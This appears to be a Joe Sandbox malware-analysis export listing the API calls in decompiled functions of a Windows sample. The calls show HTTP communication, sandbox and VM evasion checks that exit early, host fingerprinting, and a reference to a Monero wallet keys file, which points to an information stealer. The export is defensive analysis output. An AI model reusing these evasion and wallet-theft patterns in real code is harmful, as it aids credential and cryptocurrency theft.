GetProcAddress.KERNEL32(74DD0000,01075A30), ref: 003C9D51
GetProcAddress.KERNEL32(74DD0000,010756F0), ref: 003C9D69
GetProcAddress.KERNEL32(74DD0000,01075710), ref: 003C9D82
GetProcAddress.KERNEL32(74DD0000,0108D0C8), ref: 003C9D9A
GetProcAddress.KERNEL32(74DD0000,0108CF18), ref: 003C9DB2
GetProcAddress.KERNEL32(74DD0000,0107B7C0), ref: 003C9DCB
GetProcAddress.KERNEL32(74DD0000,010758F0), ref: 003C9DE3
GetProcAddress.KERNEL32(74DD0000,0108CE10), ref: 003C9DFB
GetProcAddress.KERNEL32(74DD0000,0108CFD8), ref: 003C9E14
GetProcAddress.KERNEL32(74DD0000,0108CFF0), ref: 003C9E2C
GetProcAddress.KERNEL32(74DD0000,0108CEA0), ref: 003C9E44
GetProcAddress.KERNEL32(74DD0000,01075990), ref: 003C9E5D
GetProcAddress.KERNEL32(74DD0000,0108CED0), ref: 003C9E75
GetProcAddress.KERNEL32(74DD0000,0108CEB8), ref: 003C9E8D
GetProcAddress.KERNEL32(74DD0000,0108D008), ref: 003C9EA6
GetProcAddress.KERNEL32(74DD0000,0108CF30), ref: 003C9EBE
GetProcAddress.KERNEL32(74DD0000,0108D020), ref: 003C9ED6
GetProcAddress.KERNEL32(74DD0000,0108CF48), ref: 003C9EEF
GetProcAddress.KERNEL32(74DD0000,0108D038), ref: 003C9F07
GetProcAddress.KERNEL32(74DD0000,0108CFA8), ref: 003C9F1F
GetProcAddress.KERNEL32(74DD0000,0108D050), ref: 003C9F38
GetProcAddress.KERNEL32(74DD0000,0108A690), ref: 003C9F50
GetProcAddress.KERNEL32(74DD0000,0108D080), ref: 003C9F68
GetProcAddress.KERNEL32(74DD0000,0108CE28), ref: 003C9F81
GetProcAddress.KERNEL32(74DD0000,01075910), ref: 003C9F99
GetProcAddress.KERNEL32(74DD0000,0108D0E0), ref: 003C9FB1
GetProcAddress.KERNEL32(74DD0000,01075730), ref: 003C9FCA
GetProcAddress.KERNEL32(74DD0000,0108D098), ref: 003C9FE2
GetProcAddress.KERNEL32(74DD0000,0108CE58), ref: 003C9FFA
GetProcAddress.KERNEL32(74DD0000,01075930), ref: 003CA013
GetProcAddress.KERNEL32(74DD0000,01075D30), ref: 003CA02B
LoadLibraryA.KERNEL32(0108CF60,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA03D
LoadLibraryA.KERNEL32(0108CDF8,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA04E
LoadLibraryA.KERNEL32(0108CFC0,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA060
LoadLibraryA.KERNEL32(0108CE40,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA072
LoadLibraryA.KERNEL32(0108CF90,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA083
LoadLibraryA.KERNEL32(0108CE70,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA095
LoadLibraryA.KERNEL32(0108CF78,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA0A7
LoadLibraryA.KERNEL32(0108CEE8,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA0B8
GetProcAddress.KERNEL32(75290000,01075C30), ref: 003CA0DA
GetProcAddress.KERNEL32(75290000,0108D158), ref: 003CA0F2
GetProcAddress.KERNEL32(75290000,010891A8), ref: 003CA10A
GetProcAddress.KERNEL32(75290000,0108D2C0), ref: 003CA123
GetProcAddress.KERNEL32(75290000,01075B50), ref: 003CA13B
GetProcAddress.KERNEL32(73480000,0107B5E0), ref: 003CA160
GetProcAddress.KERNEL32(73480000,01075D50), ref: 003CA179
GetProcAddress.KERNEL32(73480000,0107BA68), ref: 003CA191
GetProcAddress.KERNEL32(73480000,0108D2F0), ref: 003CA1A9
GetProcAddress.KERNEL32(73480000,0108D380), ref: 003CA1C2
GetProcAddress.KERNEL32(73480000,01075B90), ref: 003CA1DA
GetProcAddress.KERNEL32(73480000,01075CB0), ref: 003CA1F2
GetProcAddress.KERNEL32(73480000,0108D338), ref: 003CA20B
GetProcAddress.KERNEL32(752C0000,01075C90), ref: 003CA22C
GetProcAddress.KERNEL32(752C0000,01075B10), ref: 003CA244
GetProcAddress.KERNEL32(752C0000,0108D1B8), ref: 003CA25D
GetProcAddress.KERNEL32(752C0000,0108D290), ref: 003CA275
GetProcAddress.KERNEL32(752C0000,01075E50), ref: 003CA28D
GetProcAddress.KERNEL32(74EC0000,0107B9C8), ref: 003CA2B3
GetProcAddress.KERNEL32(74EC0000,0107B7E8), ref: 003CA2CB
GetProcAddress.KERNEL32(74EC0000,0108D308), ref: 003CA2E3
GetProcAddress.KERNEL32(74EC0000,01075B70), ref: 003CA2FC
GetProcAddress.KERNEL32(74EC0000,01075AF0), ref: 003CA314
GetProcAddress.KERNEL32(74EC0000,0107B810), ref: 003CA32C
GetProcAddress.KERNEL32(75BD0000,0108D188), ref: 003CA352
GetProcAddress.KERNEL32(75BD0000,01075AB0), ref: 003CA36A
GetProcAddress.KERNEL32(75BD0000,010892C8), ref: 003CA382
GetProcAddress.KERNEL32(75BD0000,0108D398), ref: 003CA39B
GetProcAddress.KERNEL32(75BD0000,0108D170), ref: 003CA3B3
GetProcAddress.KERNEL32(75BD0000,01075E10), ref: 003CA3CB
GetProcAddress.KERNEL32(75BD0000,01075C10), ref: 003CA3E4
GetProcAddress.KERNEL32(75BD0000,0108D140), ref: 003CA3FC
GetProcAddress.KERNEL32(75BD0000,0108D2A8), ref: 003CA414
GetProcAddress.KERNEL32(75A70000,01075DD0), ref: 003CA436
GetProcAddress.KERNEL32(75A70000,0108D248), ref: 003CA44E
GetProcAddress.KERNEL32(75A70000,0108D3B0), ref: 003CA466
GetProcAddress.KERNEL32(75A70000,0108D320), ref: 003CA47F
GetProcAddress.KERNEL32(75A70000,0108D350), ref: 003CA497
GetProcAddress.KERNEL32(75450000,01075BB0), ref: 003CA4B8
GetProcAddress.KERNEL32(75450000,01075AD0), ref: 003CA4D1
GetProcAddress.KERNEL32(75DA0000,01075E30), ref: 003CA4F2
GetProcAddress.KERNEL32(75DA0000,0108D368), ref: 003CA50A
GetProcAddress.KERNEL32(6F070000,01075CD0), ref: 003CA530
GetProcAddress.KERNEL32(6F070000,01075CF0), ref: 003CA548
GetProcAddress.KERNEL32(6F070000,01075BF0), ref: 003CA560
GetProcAddress.KERNEL32(6F070000,0108D200), ref: 003CA579
GetProcAddress.KERNEL32(6F070000,01075BD0), ref: 003CA591
GetProcAddress.KERNEL32(6F070000,01075C50), ref: 003CA5A9
GetProcAddress.KERNEL32(6F070000,01075DF0), ref: 003CA5C2
GetProcAddress.KERNEL32(6F070000,01075D10), ref: 003CA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 003CA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 003CA607
GetProcAddress.KERNEL32(75AF0000,0108D3C8), ref: 003CA629
GetProcAddress.KERNEL32(75AF0000,010892A8), ref: 003CA641
GetProcAddress.KERNEL32(75AF0000,0108D260), ref: 003CA659
GetProcAddress.KERNEL32(75AF0000,0108D230), ref: 003CA672
GetProcAddress.KERNEL32(75D90000,01075D70), ref: 003CA693
GetProcAddress.KERNEL32(6CFD0000,0108D278), ref: 003CA6B4
GetProcAddress.KERNEL32(6CFD0000,01075B30), ref: 003CA6CD
GetProcAddress.KERNEL32(6CFD0000,0108D110), ref: 003CA6E5
GetProcAddress.KERNEL32(6CFD0000,0108D1D0), ref: 003CA6FD

Strings

HttpQueryInfoA, xrefs: 003CA5FC
InternetSetOptionA, xrefs: 003CA5E5

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 6383f7b9e8cfbae68a4be6e69121fdeece06ffb1962837e64f20d18b8ba68a07
Instruction ID: 4bb6e9cd1f57b81c338ee2403ed6a875b4906cc145f0a81b7eccb3901f5db369
Opcode Fuzzy Hash: 6383f7b9e8cfbae68a4be6e69121fdeece06ffb1962837e64f20d18b8ba68a07
Instruction Fuzzy Hash: 1B626BF5502201AFC748EFA9ED88D7637F9F76C241704851AA60DC3269D77DA80AEB13

Function 003B6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
Part of subcall function 003B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

InternetOpenA.WININET(003D0DFE,00000001,00000000,00000000,00000000), ref: 003B62E1
StrCmpCA.SHLWAPI(?,0108E7B8), ref: 003B6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B6335
HttpOpenRequestA.WININET(00000000,GET,?,0108DFD8,00000000,00000000,00400100,00000000), ref: 003B6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003B63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003B63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 003B63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 003B646D
InternetCloseHandle.WININET(00000000), ref: 003B64EF
InternetCloseHandle.WININET(00000000), ref: 003B64F9
InternetCloseHandle.WININET(00000000), ref: 003B6503

Strings

ERROR, xrefs: 003B6407
ERROR, xrefs: 003B64C9
GET, xrefs: 003B637C

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: fc97f45a9bb0fdf2832f41c7a2b094de4e0813d26ed7df77efc03b8cb2afa5f2
Instruction ID: 57935fe887dc330a179c915dc9b75f6ca30ed45f3ffea34f32011d032ee37fa3
Opcode Fuzzy Hash: fc97f45a9bb0fdf2832f41c7a2b094de4e0813d26ed7df77efc03b8cb2afa5f2
Instruction Fuzzy Hash: F4717F71A00308ABDB25EB90DC49FEE7778FB44704F108059F209AB591DBB86E85DF52

Function 003C5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CA820: lstrlen.KERNEL32(003B4F05,?,?,003B4F05,003D0DDE), ref: 003CA82B
Part of subcall function 003CA820: lstrcpy.KERNEL32(003D0DDE,00000000), ref: 003CA885

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C5857

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003C51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C5228

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C5318
Part of subcall function 003C52C0: lstrlen.KERNEL32(00000000), ref: 003C532F
Part of subcall function 003C52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 003C5364
Part of subcall function 003C52C0: lstrlen.KERNEL32(00000000), ref: 003C5383
Part of subcall function 003C52C0: lstrlen.KERNEL32(00000000), ref: 003C53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C5A0C
Sleep.KERNEL32(0000EA60), ref: 003C5A1B

Strings

ERROR, xrefs: 003C5849
ERROR, xrefs: 003C577D
ERROR, xrefs: 003C59FE
ERROR, xrefs: 003C5636
ERROR, xrefs: 003C5932
ERROR, xrefs: 003C5693

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: ad45730601d9dd0c5998603a06b1e725334b1a4e0bcd6f02a921d7db567908ce
Instruction ID: 54d980bb9d910f255f9e6129d7615281ed3b0eb0958e1cb51f41fc8a8079e50b
Opcode Fuzzy Hash: ad45730601d9dd0c5998603a06b1e725334b1a4e0bcd6f02a921d7db567908ce
Instruction Fuzzy Hash: D4E13E729106089BCB16FBA0DC56FFD7738AB54304F50812CB506EA591EF346E4DDBA2

Function 003C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 003C17C5
ExitProcess.KERNEL32 ref: 003C17D1

Strings

block, xrefs: 003C17B7

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 7cf03fc493ef0b9d456ceef280f18f47f778fbd1be6e34afa97c02f735d6f2b2
Instruction ID: 729b7de46330bdc9cf38ff87ca6ecead4419ad4a24751f9106a4ab4d13d7f20e
Opcode Fuzzy Hash: 7cf03fc493ef0b9d456ceef280f18f47f778fbd1be6e34afa97c02f735d6f2b2
Instruction Fuzzy Hash: 0E516AB5A04209EBCB06DFA0D954FBE77BAAF45704F10404DE40AEB241D774ED45EBA2

Function 003C7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 003C7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003C757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7603
RtlAllocateHeap.NTDLL(00000000), ref: 003C760A
wsprintfA.USER32 ref: 003C7640

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Strings

:, xrefs: 003C755C
C, xrefs: 003C754C
=, xrefs: 003C764D, 003C7655, 003C761B, 003C7623
\, xrefs: 003C7560

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$=
API String ID: 1544550907-3393898382
Opcode ID: e1fd3e55b98d75c55d80ab9675ebad48fc5e9b808390dadb14ed3f3e8aae000a
Instruction ID: 90ce733143e7006e1b3fa7292b20e2f947fd02ead15d49a79da4f873b68ce15c
Opcode Fuzzy Hash: e1fd3e55b98d75c55d80ab9675ebad48fc5e9b808390dadb14ed3f3e8aae000a
Instruction Fuzzy Hash: 634151B1D04258ABDB11DB94DC45FEEBBB8AB18704F10419DF509AB280D7786E44CFA6

Function 003C69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01082368), ref: 003C98A1
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01082308), ref: 003C98BA
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,010823C8), ref: 003C98D2
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01082320), ref: 003C98EA
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01082380), ref: 003C9903
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01089208), ref: 003C991B
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01075A50), ref: 003C9933
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01075A10), ref: 003C994C
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01082248), ref: 003C9964
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,010824B8), ref: 003C997C
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01082218), ref: 003C9995
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,010824D0), ref: 003C99AD
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,010757D0), ref: 003C99C5
Part of subcall function 003C9860: GetProcAddress.KERNEL32(74DD0000,01082398), ref: 003C99DE

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003B11D0: ExitProcess.KERNEL32 ref: 003B1211

Part of subcall function 003B1160: GetSystemInfo.KERNEL32(?), ref: 003B116A
Part of subcall function 003B1160: ExitProcess.KERNEL32 ref: 003B117E

Part of subcall function 003B1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 003B112B
Part of subcall function 003B1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 003B1132
Part of subcall function 003B1110: ExitProcess.KERNEL32 ref: 003B1143

Part of subcall function 003B1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 003B123E
Part of subcall function 003B1220: ExitProcess.KERNEL32 ref: 003B1294

Part of subcall function 003C6770: GetUserDefaultLangID.KERNEL32 ref: 003C6774

Part of subcall function 003B1190: ExitProcess.KERNEL32 ref: 003B11C6

Part of subcall function 003C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003B11B7), ref: 003C7880
Part of subcall function 003C7850: RtlAllocateHeap.NTDLL(00000000), ref: 003C7887
Part of subcall function 003C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 003C789F

Part of subcall function 003C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7910
Part of subcall function 003C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 003C7917
Part of subcall function 003C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 003C792F

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01089298,?,003D110C,?,00000000,?,003D1110,?,00000000,003D0AEF), ref: 003C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 003C6AE8
CloseHandle.KERNEL32(00000000), ref: 003C6AF9
Sleep.KERNEL32(00001770), ref: 003C6B04
CloseHandle.KERNEL32(?,00000000,?,01089298,?,003D110C,?,00000000,?,003D1110,?,00000000,003D0AEF), ref: 003C6B1A
ExitProcess.KERNEL32 ref: 003C6B22

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 5f4d6395aff1af8d8e5bdd92b013dcde451f995f85316a5ed3a18b026028e5fa
Instruction ID: c81cbdf78560937b4258deb426cd9d45c06c68473f8af1cf3d3a712f3ccdfe1f
